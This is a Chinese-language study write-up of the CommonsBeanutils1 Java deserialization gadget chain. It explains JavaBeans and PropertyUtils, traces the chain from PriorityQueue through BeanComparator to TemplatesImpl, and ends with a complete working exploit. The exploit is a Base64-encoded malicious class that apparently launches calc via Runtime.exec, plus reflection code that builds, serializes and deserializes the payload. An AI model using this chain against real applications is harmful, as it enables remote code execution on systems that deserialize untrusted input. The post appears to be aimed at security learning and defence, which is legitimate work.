CommonsBeanutils1利用链学习
CommonsBeanutils1利用链学习
CommonsBeanutils简介
了解CommonsBeanutils的时候先了解JavaBean是什么
JavaBean简介
一个java类满足以下要求,都叫做JavaBean:
- public修饰的类,无参数的构造函数
- 属性是private的,但是提供了set/get方法
- 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"
封装数据的JavaBean
public class test {
private String name;
private String sex;
//封装私有属性
----------------------------------------------------------------------
public test(){
}
//无参数的构造方法
----------------------------------------------------------------------
public String getName(){
return name;
}
public String getSex(){
return sex;
}
//public属性的方法
}
这样封装的数据,可以通过反射技术实例化JavaBean对象
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class demo {
public static void main(String[] args){
try{
Class<?> cls =Class.forName("test");
Constructor<?> constructor= cls.getConstructor();
Object obj=constructor.newInstance();
Field nameField= cls.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(obj,"Erin");
Field sexField=cls.getDeclaredField("sex");
sexField.setAccessible(true);
sexField.set(obj,"男");
Method getnameM=cls.getMethod("getName");
String name=(String) getnameM.invoke(obj);
System.out.println("name:"+name);
Method getsexm= cls.getMethod("getSex");
String sex=(String) getnameM.invoke(obj);
System.out.println("sex:"+sex);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
这种的JavaBean也叫做实体类,一般在数据库中也是一张表。
CommonsBeanutils实际上也就是我们的对javabean进行操作的类
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean
的getter
方法
Person person =new Person("t4telle");
PropertyUtils.getProperty(person,"name");
Person person =new Person("e4telle");
person.getName();
除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter
调用链分析
PriorityQueue.readObject()->
PriorityQueue.heapify()->
PriorityQueue.siftDown()->
PriorityQueue.siftDownUsingComparator()->
BeanComparator.compare()->
PropertyUtils.getProperty()->
TemplatesImpl.getOutputProperties()->
TemplatesImpl.newTransformer()->
TemplatesImpl.getTransletInstance()->
TemplatesImpl.defineTransletClasses()->
TemplatesImpl.TransletClassLoader.defineClass()
PropertyUtils
PropertyUtils提供一些静态方法,方便开发者调用getter和setter方法:
- getProperety:返回指定Bean的指定属性的值
- getSimpleProperty:返回指定Bean的指定属性的值
- setProperty:设置指定Bean的指定属性的值
- setSimpleProperty:设置指定Bean的指定属性的值
这里我们就得思考如何调用getProperty,这里可以联想到之前CC2的链子的
PriorityQueue
这个类
private final Comparator<? super E> comparator;
PriorityQueue 的主要作用是维护一组数据的排序,使得取出数据时可以按照一定的优先级顺序进行,这里面定义了一个final型的comparator,这也是我们cc2里面使用的一部分
通过readObject方法实际上我们就能完成对compare方法的调用
然后进一步思考一下,我们有没有CommonsBeanutils里面调用了Comparator这个接口的
进入发现这里果然存在我们的compare方法
这里就可以通过调用compare方法进而达到调用JavaBean的getter方法。
TemplatesImpl
在cc3的学习里面我们知道,在动态加载字节码的时候就会有如下调用链
/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/
这里面的getOutputProperties方法,实际上是
private Properties _outputProperties;
这个属性的getter方法,而恰恰这个方法就是我们的加载恶意字节码的起点,上面我们刚好分析了,我们可以通过调用compare方法实际上就可以调用这个getter方法
EXP编写
直接借用CC3的恶意字节码加载的
byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
下一步就是调用
PriorityQueue.readObject()来触发我们的compare方法调用getter方法
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的TemplateImpl 对象
下面继续将compare的属性值设置为我们的恶意templates对象
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,beanComparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//数组中必须添加2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
完整exp
package other;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
byte[] bytes = Base64.decode("恶意字节码");
// 反射创建 TemplatesImpl 实例
Object TemplatesImpl_instance = createTemplatesInstance(bytes);
// 创建优先队列并设置属性
PriorityQueue queue = createPriorityQueueWithTemplates(TemplatesImpl_instance);
// 序列化对象
byte[] serializedData = serialize(queue);
// 反序列化对象
Object deserializedObject = deserialize(serializedData);
}
private static Object createTemplatesInstance(byte[] bytes) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor();
constructor.setAccessible(true);
Object TemplatesImpl_instance = constructor.newInstance();
setValue(TemplatesImpl_instance, "_bytecodes", new byte[][]{bytes});
setValue(TemplatesImpl_instance, "_name", "TestTemplatesImpl");
return TemplatesImpl_instance;
}
private static PriorityQueue createPriorityQueueWithTemplates(Object TemplatesImpl_instance) throws NoSuchFieldException, IllegalAccessException {
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
setValue(queue, "comparator", new BeanComparator("outputProperties"));
setValue(queue, "queue", new Object[]{TemplatesImpl_instance, TemplatesImpl_instance});
return queue;
}
private static void setValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
for (Class<?> superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) {
try {
return superClass.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
// Ignore and search in the next superclass
}
}
throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
return barr.toByteArray();
}
private static Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
return ois.readObject();
}
}